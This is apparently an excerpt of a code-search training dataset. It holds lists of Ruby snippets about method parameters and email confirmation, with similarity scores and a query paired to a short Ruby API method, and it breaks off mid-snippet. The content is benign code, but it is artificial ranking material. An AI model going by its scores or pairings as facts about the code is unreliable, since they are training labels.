[ "def meth **options\nend", "def meth **options\nend", "def method (a=3, b=4)\r\nend", "def method(param1, options = {})\n\tend", "def method (a=3, b)\r\nend", "def method_missing(meth, *args) = parameters.has_key?(meth) ? parameters[meth] : meth", "def meth(**\n options)\nend", "def my_method_hash(attrs = {})\n puts \"Name is #{attrs[:name]}\"\nend", "def my_method(first: nil, second: nil)\n puts \"First is #{first} and second is #{second}\"\nend", "def example(*array_of_arguments)\n\n#this method expects a single hash as an argument\ndef example(name:, age: 18) #age is defaulted to 18 if not specified\n puts age # don't use symbols in the body of the method\n puts :name # this will print the symbol \"name\" instead of \"Andrew\"\nend\n# despite being passed in the \"wrong order\", name will still be \"Andrew\" and age will be 24\nexample(age: 24, name: \"Andrew\")\n\n# accepts a hash, creates new instance variables named after the keys, and sets them equal to the corresponding value\ndef example(hash_of_arguments)\n hash_of_arguments.each {|key,value| self.send(\"#{key}=\", value) }\nend\n# however, setter methods must already exist for these new attributes because .SEND is trying to call them\n\nclass Example\n def initialize\n @status = \"instantiated\"\n end\nend\nobj = Example.new\n# access obj's @status without calling, or even defining, getter/setter methods\nobj.instance_variable_get(\"@status\") #can pass @status as a string...\n# @status => \"instantiated\"\nobj.instance_variable_set(:@status, 123)#...or a symbol.\n# @status => 123\n\n# by combining the previous two concepts, we can create an initialize method that will accept a hash...\n# ...with any number of key/value pairs and instantiate a new object attribute for each.\nclass Example\n def initialize(attr_hash)\n attr_hash.each {|key, value| self.instance_variable_set(\"@#{key}\", value) }\n end\nend\nobj = Example.new(status: \"instantiated\", name: \"Andrew\", age: 24, hello: \"world\")\n# right now, the only way to get these values is to use \"instance_variabe_get\"\n# however, we can write the attr macros for the attributes we expect and ignore the rest\n# this is bad design but I thought it was cool\n\n#__________Time__________\n\nstart = Time.now\n#some code executes...\nputs Time.now - start\n# measures runtime\n\n#format Time object as a string\nTime.now.strftime(\"%d/%m/%Y %H:%M\") # => \"01/02/2003 4:56\"\n\n#__________terminal/bash_commands__________", "def method (a=3,\r\n\tb)\r\nend", "def new_method(a = \"This\", b = \"is\", c = \"fun\")\n puts a + ' ' + b + ' ' + c + '.'\nend", "def method_missing(meth, *args)\n return nil if !@hash.key?(meth) && args.empty?\n if args.empty?\n @hash[meth]\n else\n @hash[meth] = args.size == 1 ? args.first : args\n end\n end", "def defVals(par1, opt1 = \"optional one applied\", opt2 = \"optional two applied\") \n puts \"First parameter => #{par1}\"\n puts \"Second parameter => #{opt1}\"\n puts \"Third parameter => #{opt2}\"\nend", "def a_method(arg1, arg2='default value')\n do_stuff\n end", "def method (number, default1 = 1, default2 = 2)\nend", "def method_with_optional_param(param = foo)\nend", "def optionalParameters(a,b,*c)\n #some code\nend", "def method_missing(symbol, *args)\n @params[symbol] = args.length == 1 ? args[0] : args\n end", "def first_method(name = \"Brooke\", age = \"38\")\n puts \"Hello #{name}. You are #{age} years old\"\nend", "def foo(param = \"no\")\r\n \"yes\"\r\nend", "def foo(param = \"no\")\n \"yes\"\nend", "def foo(param = \"no\")\n \"yes\"\nend", "def foo(param = \"no\")\n \"yes\"\nend", "def foo(param = \"no\")\n \"yes\"\nend", "def foo(param = \"no\")\n \"yes\"\nend", "def foo(param = \"no\")\n \"yes\"\nend", "def foo(param = \"no\")\n \"yes\"\nend", "def foo(param = \"no\")\n \"yes\"\nend", "def foo(param = \"no\")\n \"yes\"\nend", "def foo(param = \"no\")\n \"yes\"\nend", "def foo(param = \"no\")\n \"yes\"\nend", "def nothing(p1=1,p2=2,p3=3)\nend", "def foo(param = 'no')\n 'yes'\nend", "def foo(param = 'no')\n 'yes'\nend", "def name_parameter_method(name: \"default\", options: {})\n options.merge!(name: name)\n some_action_with(options)\nend", "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[options]\n end", "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[options]\n end", "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[options]\n end", "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[arguments]\n end", "def method_missing(method, *args)\n if method.to_s =~ /^([^=]+)(=?)$/ && options.has_key?($1.to_sym)\n options[$1.to_sym] = args.first unless $2.empty?\n options[$1.to_sym]\n else\n super\n end\n end", "def meth(\n **\n ); end", "def method_with_keyword_param(keyword: foo)\nend", "def foo(param = \"no\") #this is default param\n \"yes\"\nend", "def method(c=d, d=4)\r\n\tc+d\r\nend", "def method(c=d, d=4)\r\n\tc+d\r\nend", "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[documentation parameters]\n end", "def greeting(name, options ={})\n if options.empty?\n puts \"Hi, my name is #{name}\"\n else\n puts \"Hi, my name is #{name} and I'm #{options[:age]}\" +\n \" years old and I live in #{options[:city]}.\"\n end\nend", "def my_method(a: 1, b: 2, c: 3)\n p a: a, b: b, c: c\nend", "def initialize(options = {})\n \n # Example: {\"id\" => 1, \"first_name\" => \"Johnny\", \"last_name\" => \"Doe\", \"nickname\" => \"JohnBikes\"}\n @id = options[\"id\"]\n @first_name = options[\"first_name\"]\n @last_name = options[\"last_name\"]\n @nickname = options[\"nickname\"]\n \n end", "def initialize(**params)\n @params = params\n\n @params.each do |key, value|\n self.class.send(:define_method, key) { value } unless respond_to?(key)\n end\n end", "def hello(options = {})\r\n name = options[:name]\r\n age = options[:age]\r\n \"#{name} is the age of #{age}.\"\r\nend", "def method8(x: nil, y: nil, z: nil)\r\n p x, y, z\r\nend", "def test_Method_InstanceMethods_parameters\n\t\tdef m(a,b=1,*c,&d); end\n\t\t# TODO, assert_equal([[:req,:a],[:opt,:b],[:rest,:c],[:block,:d]], method(:m).parameters)\n\tend", "def method(arg1 = default_value, arg2, etc.) # Defines a method with the name method and arguments.\n # Code goes here, for example:\n puts \"Hello, #{arg1} #{arg2}!\"\nend", "def method a=3, b=4\r\nend", "def method(a=3)\r\n a\r\nend", "def hello(name=\"World\") # Default parameter\n puts \"Hello #{ name }\"\nend", "def my_method(a, b=2, c=3,d)\n p [a,b,c,d]\nend", "def greet time:, name: # The : following the parameter is what makes these keyword parameters that accept keyword arguments\n puts \"Good #{time}, #{name}!\"\nend", "def method(c=c)\r\nend", "def add_item(list, item_name, optional_quantity)\n\nlist[item_name] = optional_quantity\n\n# input: list, item name, and optional quantity\n# steps:\n # Add new hash key based on item name\n # Tell method there may or may not be a argument passed in for quantity\n # assign quantity to 'optional-quantity' argument in method definition\n # Access method that contains initialized hash def add_item(create_list, item_name, quantity = 3)\n# output:\n # updated grocery list\nend", "def method(*a, b=2)\r\nend", "def foo(param = \"no\")\n \"yes\" #Returns yes\nend", "def my_method(a, b = 2, c = 3, d)\n p [a, b, c, d]\nend", "def my_method(a, b = 2, c = 3, d)\n p [a, b, c, d]\nend", "def my_method(a, b = 2, c = 3, d)\n p [a, b, c, d]\nend", "def my_method(a, b = 2, c = 3, d)\n p [a, b, c, d]\nend", "def my_method(a, b = 2, c = 3, d)\n p [a, b, c, d]\nend", "def my_method(a, b = 2, c = 3, d)\n p [a, b, c, d]\nend", "def my_method(a, b = 2, c = 3, d)\n p [a, b, c, d]\nend", "def my_method(a, b, d, c: 3)\n # p [a, b, c, d]\n p a: a, b: b, c: c, d: d\nend", "def greeting(name, options = {})\n if options.empty?\n puts \"Hi, my name is #{name}\"\n else\n puts \"Hi, my name is #{name} and I'm #{options[:age]} yes olds and I live in #{options[:city]}.\"\n end\nend", "def meth(\n # this is important\n important_arg,\n # a default, because we're not animals!\n default=nil)\nend", "def method ( a ,b ,c ) \nend", "def a_method(var1, var2 = 'Nobody')\n puts \"HEJ! #{var1} AND #{var2}\"\nend", "def optional_params\n return {}\n end", "def meth(\n arg1,\n arg2 , arg3 = 7 , *rest,\n\n\n last,\n required:,\n not_required: 7, **options)\nend", "def meth(\n arg1,\n arg2 , arg3 = 7 , *rest,\n\n\n last,\n required:,\n not_required: 7, **options)\nend", "def initialize(options = {})\n\n # Example: {\"id\" => 1, \"name\" => \"Lisa\"}\n @id = options[\"id\"]\n @name = options[\"name\"]\n\n end", "def method_missing(sym, *args, &block)\n if @params.has_key?(sym)\n return @params[sym]\n elsif sym.to_s =~ /^[a-z0-9_]*=$/\n return @params[sym.to_s.sub(/^(.*?)=$/, '\\1').to_sym] = args.shift\n elsif sym.to_s =~ /^[a-z0-9_]*\\?$/\n return !!@params[sym.to_s.sub(/^(.*?)\\?$/, '\\1').to_sym]\n end\n\n super(sym, *args, &block)\n end", "def method (a,\r\n\tb = 2)\r\nend", "def method_missing( meth, *args, &block )\n if self.class.types.include?(meth) and args.length.between?(1,2)\n name = args[0]\n default = args.length == 2 ?\n args[1] : meth\n option = @klass.new(name, default)\n option.description, @description =\n @description, nil\n @options << option\n else\n super\n end\n end", "def initialize(params)\n self.method_name = params[:method_name]\n self.display_name = params[:display_name] || self.method_name.titleize\n self.formatter = params[:formatter] || nil\n self.summarize = params[:summarize] || 'none'\n self.summarize = 'none' unless SUMMARIZE_OPTIONS.include?(self.summarize)\n end", "def my_hash_creator(key, value)\n # return a hash that includes the key and value parameters passed into this method\n {key => value}\nend", "def method(a,b,c)\nend", "def say_hello(name= \"Ruby Programmer\")\n puts \"Hello #{name}!\"\n\nend", "def hello(place=\"world\", *args)\n #...\n end", "def initialize( param, param2 , param3 = 'default value'); # can pass in an object\n @param = param\n @param2 = param2\n @param3 = param3 # has default value of nothing input\n end", "def initialize(optHash)\n @optHash=optHash\n setParameters()\nend", "def example(hash_of_arguments)\n hash_of_arguments.each {|key,value| self.send(\"#{key}=\", value) }\nend", "def method_missing(m, *args, &block)\n method_name = m.to_s.gsub(/=$/, '')\n if self.class.schema.keys.include?(method_name)\n m.to_s.match(/=$/) ? @hash[method_name] = args[0] : @hash[method_name]\n else\n super\n end\n end", "def method_missing(method, *args)\n methodname = method.to_s\n if methodname.slice(-1, 1) == '='\n if args.size != 1\n raise ArgumentError.new(\"wrong number of arguments (#{args.size} for 1)\")\n end\n tags[methodname.chop] = args[0]\n elsif methodname.slice(-1, 1) == '?'\n if args.size != 0\n raise ArgumentError.new(\"wrong number of arguments (#{args.size} for 0)\")\n end\n tags[methodname.chop] =~ /^(true|yes|1)$/\n else\n if args.size != 0\n raise ArgumentError.new(\"wrong number of arguments (#{args.size} for 0)\")\n end\n tags[methodname]\n end\n end", "def do_something(param_1, param_2, param_3)\n\nend", "def method_name_with_defined_argument(method_arguments = 123)\n puts(method_arguments)\nend", "def new_method(arg1=\"new1\", arg2=\"new2\", arg3=\"new3\")\n\tputs \"Par1: #{arg1}, Par2: #{arg2}, Par3: #{arg3}\"\nend", "def methodWithParams nombre,apellido\n puts \"Mi nombre es #{nombre} #{apellido}\" \nend", "def my_method(a, b = 2, c = 3, d)\r\n p [a, b, c, d]\r\n end", "def initialize_defaults(method_name)\n end", "def initialize(options = {})\n \n # Example: {\"id\" => 1, \"cyclist_id\" => \"3\", \"bike_name\" => \"Giant Revel I\", \"description\" => \"Matte grey MTB\"}\n @id = options[\"id\"]\n @cyclist_id = options[\"cyclist_id\"]\n @bike_name = options[\"bike_name\"]\n @description = options[\"description\"]\n \n end", "def say_hello(name = \"world!\")\n puts \"Hello, #{name}\"\nend" ]
[ "0.703845", "0.703845", "0.68307734", "0.67855346", "0.67754495", "0.66976005", "0.6669738", "0.6663254", "0.6627065", "0.6603024", "0.65222806", "0.64534503", "0.64522725", "0.6362726", "0.6339822", "0.6336949", "0.6315946", "0.6297497", "0.6287043", "0.62714237", "0.626511", "0.6217164", "0.6217164", "0.6217164", "0.6217164", "0.6217164", "0.6217164", "0.6217164", "0.6217164", "0.6217164", "0.6217164", "0.6217164", "0.62136716", "0.6193931", "0.6193931", "0.6188603", "0.6173402", "0.6173402", "0.6173402", "0.616903", "0.61507845", "0.61418736", "0.6138942", "0.6120531", "0.6111177", "0.6111177", "0.61055046", "0.6104995", "0.6101311", "0.6083259", "0.6080289", "0.60753816", "0.60642576", "0.60591555", "0.6056511", "0.60490143", "0.6044995", "0.6021324", "0.6019953", "0.6016678", "0.5999585", "0.5967319", "0.59596217", "0.5939255", "0.5925486", "0.5925486", "0.5925486", "0.5925486", "0.5925486", "0.5925486", "0.5925486", "0.59137404", "0.59109944", "0.59052354", "0.5892733", "0.5887248", "0.5869307", "0.5863842", "0.5863557", "0.58592933", "0.5857023", "0.58505696", "0.5845142", "0.5837339", "0.583605", "0.58284014", "0.5821795", "0.5819475", "0.581583", "0.58153456", "0.5815008", "0.5808244", "0.58071905", "0.580123", "0.5800222", "0.5797064", "0.5794143", "0.57920617", "0.57916975", "0.57850057", "0.5782335" ]
0.0
-1
Get Sending Confirmation Email Id.
def confirmation_email_id @api.get("#{@api.path}/Import/#{@id}/Sending") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def send_confirm_email\n settings.fetch('send_mail',{}).fetch('confirm_email', true)\n end", "def recipient_id\n @row[\"配送先ID\"].to_s\n end", "def confirm_email(confirmation)\n @confirmation = confirmation\n @account = confirmation.account\n \n mail :to => confirmation.unconfirmed_email\n end", "def message_id\n @mail.message_id\n end", "def primary_smtp_address\n return @primary_smtp_address\n end", "def notification_id\n @id\n end", "def send_verification_email\n update!(email_status: \"sent\", email_verification_token: SecureRandom.uuid)\n JobMailer.confirm_email(self).deliver!\n end", "def confirm_email\n user = User.find_by_confirm_token(params[:id])\n if user\n user.email_activate\n end\n end", "def confirm_request\n @email = params[:email]\n @confirmation_code = params[:confirmation_code]\n mail to: @email\n end", "def generate_confirmation_token\n unless self.confirmation_token\n self.confirmation_token = generate_unique_secure_confirmation_token()\n self.confirmation_sent_at = Time.now.utc\n end\n end", "def get_message_id\n return message_id if Rails.env.production?\n '2b4a4e966e0300b90a00c28b714f1c38@masamigos.cl'\n end", "def request_confirm_email _user\n @confirmation = find_or_create_for_user(_user)\n mail( to: _user.email, subject: \"Please confirm your email address\")\n end", "def email_address\n authentications.emails.active.first.uid rescue nil\n end", "def email_confirmation\n user = current_resource_owner\n user.email = user.unconfirmed_email\n user.unconfirmed_email = nil\n user.confirmed_at = Time.now\n end", "def send!\n if id = send\n return id\n else\n raise Postal::CouldNotSendMailing, 'Your mail was invalid and could not be sent.'\n end\n end", "def activation_success_email\n ActivationEmail.activation_success_email\n end", "def recipient_email\n return @recipient_email\n end", "def recipient_email\n return @recipient_email\n end", "def email\n mail.first\n end", "def email\n mail.first\n end", "def send_confirmation_email(email, location_id = nil)\n location = find_location(location_id)\n CustomerNotifier.deliver_confirmation(email, @account, location)\n register_session_email(SessionEmail::KIND_CONFIRMATION, email, location)\n end", "def sender_user_id\n return @sender_user_id\n end", "def get_activate_email\n end", "def referral_confirmation_email\n\n end", "def get_email_for_booking_notification(booking)\n email = nil\n property = booking.property\n pc = PropertyChannel.find_by_property_id_and_channel_id(property.id, self.id)\n\n # email address is different for new, modify, and cancel\n if booking.type_new?\n email = pc.expedia_reservation_email_address\n elsif booking.type_modify?\n email = pc.expedia_modification_email_address\n elsif booking.type_cancel?\n email = pc.expedia_cancellation_email_address\n end\n email\n end", "def extract_order_confirmation_id\n confirmation = Converter.xml_get('Bezugsnummer', self.order)\n if confirmation && confirmation.match(/Auftragsbest/)\n self.order_confirmation_id = confirmation.match(/\\d+/)[0]\n return (self.order_confirmation_id ? true : false)\n end\n end", "def email_confirm\n end", "def email\n return Contact.get_default_email self.id\n end", "def generate_confirmation_token\n self.confirmation_token = new_confirmation_token\n self.confirmation_sent_at = Time.now.utc\n end", "def primary_email\n if self[\"gd$email\"]\n _email = self[\"gd$email\"].find { |e| e.primary == \"true\" }\n _email ? _email.address : nil\n else\n nil # no emails at all\n end\n end", "def sender\n ENV['NOTIFICATION_FROM_EMAIL'] || 'noreply@some.gov'\n end", "def send_email_and_confirm(inbox_id, send_email_options, opts = {})\n data, _status_code, _headers = send_email_and_confirm_with_http_info(inbox_id, send_email_options, opts)\n data\n end", "def user_confirm_email(current_user)\n @current_user = current_user\n mail(to: current_user.email, subject: 'Confirm Email', from:\"PawBookings <no_reply@pawbookings.com>\")\n end", "def generate_confirm_email_token!\n self.confirm_email_token = SecureRandom.hex(10)\n self.email_confirmed_at = nil\n self.save!\n end", "def confirm_email\n @token = params[:token]\n end", "def set_confirmation_token\n SecureRandom.hex(16)\n end", "def sender_email\n msg['from_email'] || msg['sender'] || entry['sender'] || reject['sender']\n end", "def orderConfirmationEmail(order)\n @order = order\n @user = @order.user\n @url = \"http://0.0.0.0:3000/order/#{order.id}\"\n mail(to: @user.email, subject: \"Your order has been confirmed (order number: #{order.id})\")\n #mail to: \"to@example.org\"\n end", "def send_approve_email\n 'send_approve_email'\n end", "def email_confirm!\n update(email_confirmed_at: Time.zone.now)\n end", "def email_as_id\n\t\tself.email.gsub(/[@\\.]/, '-')\n\tend", "def authorized_email\n session[:browserid_email]\n end", "def confirm_url\n generate_confirm_code\n save if not new_record?\n project.full_domain + '/recipients/confirm/' + self.confirm_code.to_s\n end", "def attendee_confirmation(attendee)\n @attendee = attendee\n @url = \"http://www.TMSbigideaday.org\"\n subject = \"Thanks for signing up for The Mountain School's Big Idea Day\"\n\n mail to: @attendee.email,\n subject: subject.to_s\n end", "def email_confirmation(user_id, token)\n @token = token\n @user = User.find(user_id)\n @subject = I18n.t('emails.subjects.email_confirmation')\n\n delivery_options = { user_name: ENV['SES_SMTP_USERNAME'],\n password: ENV['SES_SMTP_PASSWORD'],\n address: ENV['SES_SMTP_ADDRESS'] }\n\n email = @user.unverified_email ? @user.unverified_email : @user.email\n mail(from: email_address_for(:noreply), to: email, subject: @subject, content_type: 'text', delivery_method_options: delivery_options) do |format|\n format.text\n end\n end", "def get_email_recipient\n user == chat.sender ? chat.recipient : chat.sender\n end", "def email\n multi_email.primary_email_record.try(:email)\n end", "def send_confirmation_request\n send_confirmation_email\n send_confirmation_notification\n end", "def confirmation_token\n if self.confirm_token.blank?\n self.confirm_token = SecureRandom.urlsafe_base64.to_s\n end\n end", "def send_confirmation_email(delivery_request)\n @delivery_request = delivery_request\n mail to: @delivery_request.email, subject: \"CERES - Delivery Request confirmation\"\n end", "def as_confirmation_json\n { pid: pid }\n end", "def primary_email\n primary_email_object = emails.find_by(is_primary: true)\n return if primary_email_object.blank?\n\n primary_email_object.address\n end", "def confirm_email(token)\n user = User.find_by_confirmation_token(token)\n if user.nil?\n fail BadRequestError.user_not_found(:token), \"User not found by token.\"\n end\n\n user.confirm!\n end", "def send_confirmations_to_owner\n return @send_confirmations_to_owner\n end", "def confirm_email\n\t user = User.find_by(confirm_token: user_params[:confirm_token])\n\t if user\n\t \t# Reset all the actions\n\t\t\tuser.email_confirmed = true\n\t\t\tuser.confirm_token = \"\"\n\t\t\tuser.save\t\n\t\t\trender json: {\n\t\t\t\tstatus: 'success',\n\t\t\t\tmessage: 'Account successfully confirmed!'\n\t\t\t}, status: 200\n\t\telse\n\t\t\trender json: {\n\t\t\t\tstatus: 'error',\n\t\t\t\tmessage: 'Account could not be confirmed'\n\t\t\t}, status: 422\n\t end\n\tend", "def generate_confirmation_token\n end", "def confirmed(assignment)\n setup_user_email(assignment)\n @subject += I18n.translate 'assignment_mailer.accepted.subject', :event => assignment.event.code\n end", "def order_confirmation_email(customer)\n @customer = customer\n\n mail to: @customer.email, subject: 'Your Order Confirmation'\n end", "def device_account_email\n return @device_account_email\n end", "def confirm_email!\n confirm_email\n save_without_session_maintenance(validate: false)\n end", "def email\n user.emails.where( email: self.email_id ).first\n end", "def send_confirmation\n send_message(\"confirmation\")\n end", "def generate_confirmation_token; end", "def order_confirmation\n user = User.first\n order = Order.last\n UserMailer.order_confirmation(user, order)\n end", "def mailer_to\n resolve_value(_notification_email)\n end", "def confirm_email\n user = User.find_by_email_confirm_token(params[:confirm_token])\n if user\n user.email_activate\n flash[:success] = \"La tua email è stata confermata! Benvenuto!\"\n log_in user\n remember(user)\n redirect_to groups_path\n else\n flash[:error] = \"Siamo spiacenti, ma pare che l'utente non esista.\"\n redirect_to login_path\n end\n end", "def email(id)\n get(\"/user/emails/#{id}\")\n end", "def deliver_confirmation_email_instructions!\n # TODO\n end", "def approval_id\n return @approval_id\n end", "def send_confirmation_email\n return false if /\\w@(example)\\.com/.match(self.email)\n UserMailer.confirmation(self).deliver unless confirmed?\n end", "def send_confirmation_email\n sleep(10)\n self.confirmation_token = SecureRandom.hex(16)\n self.save\n UserMailer.confirmation_email(self).deliver\n end", "def email_sent\n @email = session[:owners_new_email]\n end", "def attendee_id(current_user)\n\n\t\tuser = self.attendees.where('user_id = ?', current_user.id.to_s).first\n\n\t\tif user.present?\n\t\t\tuser.id\n\t\telse\n\t\t\t0\n\t\tend\n\n\tend", "def email\n # logger.debug2 \"email = #{read_attribute(:email)} (#{read_attribute(:email).class.name})\"\n share_account_id = new_encrypt_pk unless share_account_id\n return nil unless (extended_email = read_attribute(:email))\n encrypt_remove_pre_and_postfix(extended_email, 'email', 49)\n end", "def check_mail_confirmation\n return if current_user.client?\n\n unless current_user.confirmed?\n flash[:danger] = tf('common.flash.unconfirmed_mail')\n redirect_to :root\n end\n end", "def receiver_email\n nil\n end", "def stripe_email\n email\n end", "def user_email\n session[:user_id]\n end", "def sender_message\n return @sender_message\n end", "def receiver_email\n nil\n end", "def email_activation_confirmation(email)\n setup_email(email.user, email.address)\n @subject += 'A new email address has been activated'\n @body[:url] = \"#{SITE_URL}/\"\n end", "def email\n return @email\n end", "def email\n return @email\n end", "def activation_success_email\n UserMailerMailer.activation_success_email\n end", "def confirmation\n @order = params[:order]\n mail to: @order.client.email, subject: \"Ordem de Serviço para #{@order.client.razao_social}\"\n end", "def email_key\n \"zDMSATq0W3hmA5p3rKTgD\"\n end", "def generate_confirmation_instructions\n self.confirmation_token = SecureRandom.hex(10)\n self.confirmation_sent_at = Time.now.utc\n end", "def sender_address\n @sender_address || ''\n end", "def confirmation(booking)\n @booking = booking\n mail(to: booking.user.email, subject: \"You have been confirmed!\")\n end", "def adminConfirmation\n ContactMailer.adminConfirmation\n end", "def payment_customer_email\n\t\t\t\t\treturn self.customer_email\n\t\t\t\tend", "def sms_confirmation_token\n generate_small_token(:sms_confirmation_token)\n end", "def request_confirmation\n reservation = Reservation.first\n ReservationMailer.request_confirmation(reservation)\n end", "def identity_confirmation(bar)\n @bar = bar\n @temp_pass = Rufus::Mnemo::from_integer(@bar.id*10000)[0..5]\n mail from:\"BarSlice <contact@barslice.com>\", to: bar.email, subject: \"Identity Confirmation\"\n end", "def send_confirmation_instructions\n ConfirmationMailer.confirmation_instructions(self).deliver\n end", "def message_id\n headers['Message-Id'] || msg['_id'] || self['_id']\n end", "def applicant_confirmation(applicant)\n @applicant = applicant\n\n mail to: applicant.username + \"@facebook.com\", subject: \"Greenpeace Belgium: Application confirmation\"\n end", "def mailboxer_email(object)\n #Check if an email should be sent for that object\n if send_notification_mails == true\n return email\n else\n return nil\n end\n end", "def sendmail_confirm\n @greeting = \"元気ー?\"\n\n mail to: \"m.seino@ashita-team.com\"\n end", "def email\n\n id = params[:id]\n @user = User.find_by(id: id)\n @country = Country.find_by(id: @user.country)\n @city = City.find_by(id: @user.city)\n @confirmation_alert= ENV[\"CONFIRMATION_MESSAGE\"]\n \n # UserMailer To Send the Mail \n UserMailer.with(user: @user,country: @country,city: @city).confirmation_email.deliver_now\n \n render \"view\"\n \n end" ]
[ "0.6270298", "0.5946937", "0.5909856", "0.5749004", "0.5722152", "0.5719367", "0.5668651", "0.5668433", "0.56330305", "0.5625534", "0.5608541", "0.55929816", "0.5587517", "0.5558845", "0.5555174", "0.55380076", "0.5525643", "0.5525643", "0.550971", "0.550971", "0.55049103", "0.5504021", "0.5475961", "0.5464977", "0.54544663", "0.5412059", "0.5408637", "0.53861856", "0.5368732", "0.5367955", "0.53656495", "0.5341848", "0.5333328", "0.53236973", "0.53040737", "0.5285141", "0.52759564", "0.52700925", "0.52673984", "0.52653843", "0.525862", "0.52572715", "0.52444434", "0.5229361", "0.5219375", "0.52020574", "0.51993406", "0.5198194", "0.51918024", "0.51882017", "0.5183792", "0.51835865", "0.5172119", "0.51589864", "0.5151208", "0.51487756", "0.5145759", "0.5123403", "0.5118994", "0.5111805", "0.5105343", "0.5099624", "0.50918615", "0.5079963", "0.507772", "0.50752497", "0.50739753", "0.50726676", "0.5062619", "0.5062237", "0.5059362", "0.5056679", "0.50518984", "0.50421256", "0.50403064", "0.50348973", "0.5029131", "0.5015697", "0.50149035", "0.50133324", "0.5008526", "0.50025845", "0.50025845", "0.49932024", "0.49929523", "0.49919826", "0.49914262", "0.4991336", "0.4989181", "0.49832025", "0.49779397", "0.4973534", "0.4966586", "0.49643463", "0.4960353", "0.49558717", "0.4953388", "0.49531698", "0.49528816", "0.49496216" ]
0.7562067
0
GET /medecins GET /medecins.json
def index @medecins = Medecin.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def meals\n get(\"/user/#{@user_id}/meals.json\")\n end", "def show\n @messege = Messege.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @messege }\n end\n end", "def index\n @memes = Meme.all\n end", "def set_medecin\n @medecin = Medecin.find(params[:id])\n end", "def index\n @messes = Mess.all\n end", "def index\n @messes = Mess.all\n end", "def index\n @messes = Mess.all\n end", "def index\n @mesasredondas = Mesasredonda.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mesasredondas }\n end\n end", "def index_invites\n puts \"user: #{@current_user.json_hash[:id]}\"\n dinners = []\n @dinners = @current_user.invited_dinners\n @dinners.each do |dinner|\n dinners << dinner.all_info\n end\n render json: dinners\n end", "def show \n @inmate = Inmate.find(params[:id])\n render json: @inmate\n end", "def index\n @messies = Messy.all\n\n render json: @messies\n end", "def me\n get(\"/me\")\n end", "def show\n @mesasredonda = Mesasredonda.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mesasredonda }\n end\n end", "def get_coins\n get(\"/getcoins\")\n end", "def index\n puts \"user: #{@current_user.json_hash[:id]}\"\n hosted_dinners = []\n attended_dinners = []\n @hosted_dinners = @current_user.hosted_dinners.where('starts_at >= ?', \"#{Time.now}\").order(starts_at: :asc).each do |dinner|\n hosted_dinners << dinner.all_info\n end\n @attended_dinners = @current_user.attended_dinners.where('starts_at >= ?', \"#{Time.now}\").order(starts_at: :asc).each do |dinner|\n attended_dinners << dinner.all_info\n end\n render json: {\n hosting: hosted_dinners,\n attending: attended_dinners\n }\n end", "def me\n\t\tuser_listings = current_user.listings\n render json: [current_user, user_listings]\n end", "def getMerchants\n\tbegin\n\t\tresponse = RestClient.get('http://api.reimaginebanking.com/merchants?key=e0486a76005721ee6d86b140eaea2a40')\n\trescue\n\t\tputs \"error retrieving response...\"\n\tend\n\n\tmerchants = JSON.parse(response)\n\treturn merchants\nend", "def index_attending\n puts \"user: #{@current_user.json_hash[:id]}\"\n dinners = []\n @dinners = @current_user.attended_dinners\n @dinners.each do |dinner|\n dinners << dinner.all_info\n end\n render json: dinners\n end", "def index\n @you_owe_mes = YouOweMe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @you_owe_mes }\n end\n end", "def index\n @dear_mes = DearMe.all\n end", "def index\n ends = End.find_each\n render json: ends\n end", "def me\n resource :get, 'api/v1/users/me'\n end", "def me\n get('me').body\n end", "def index\n @me_res = MeRe.all\n end", "def me\n user = current_user\n render :json => user.to_json(:only => [:id, :name, :email, :avatar_url])\n end", "def destroy\n @medecin.destroy\n respond_to do |format|\n format.html { redirect_to medecins_url, notice: 'Medecin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def new\n @messege = Messege.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @messege }\n end\n end", "def memes()\n db = connect_to_database()\n return db.execute(\"SELECT * FROM memes ORDER BY MemeId DESC\")\n end", "def index_hosting\n puts \"user: #{@current_user.json_hash[:id]}\"\n dinners = []\n @dinners = @current_user.hosted_dinners\n @dinners.each do |dinner|\n dinners << dinner.all_info\n end\n render json: dinners\n end", "def create\n @medecin = Medecin.new(medecin_params)\n\n respond_to do |format|\n if @medecin.save\n format.html { redirect_to @medecin, notice: 'Medecin was successfully created.' }\n format.json { render :show, status: :created, location: @medecin }\n else\n format.html { render :new }\n format.json { render json: @medecin.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @medications = Medication.all\n render json: @medications\n end", "def index\n @mercado_meta = MercadoMetum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mercado_meta }\n end\n end", "def show\n @mercado_metum = MercadoMetum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mercado_metum }\n end\n end", "def retrieve_meds(name)\n user_list = JSON.parse(File.read(\"./files/user_info.json\"))\n user_list[\"Users\"].each do |user|\n if user[\"Name\"] == name\n user[\"Medication\"].each do |med|\n puts \"Name: #{med[\"Med_Name\"]}\"\n puts \"Intake Time: #{med[\"Intake_Time\"]}\"\n puts \"Duration: #{med[\"Duration\"]}\"\n puts \"Extra Info: #{med[\"Extra_Info\"]}\"\n end\n end\n end\nend", "def get_me\n response = self.class.get(api_url(\"users/me\"),\n headers: { \"authorization\" => @auth_token })\n\n # Parse the JSON document returned in the response into a Ruby hash\n JSON.parse(response.body)\n end", "def show\n out = Out.find(params[:id])\n respond_to do |format|\n format.json {\n render :json => out, :layout => false\n }\n end\n end", "def volunter_by_me\n @requests = @current_user.volunters.map(&:request)\n json_response(@requests)\n end", "def friend_requests\n friends = current_user.friends.where accepted: false\n profiles = friends.map{ |friend| Profile.find(friend.profile_id)}\n render json: profiles\n end", "def index\n # render json: Epicenter.where('owner_id = ?', @epicenter.id)\n puts Epicenter.all.count\n render json: Epicenter.all\n end", "def index\n @hire_mes = HireMe.all\n end", "def get_me\n response = 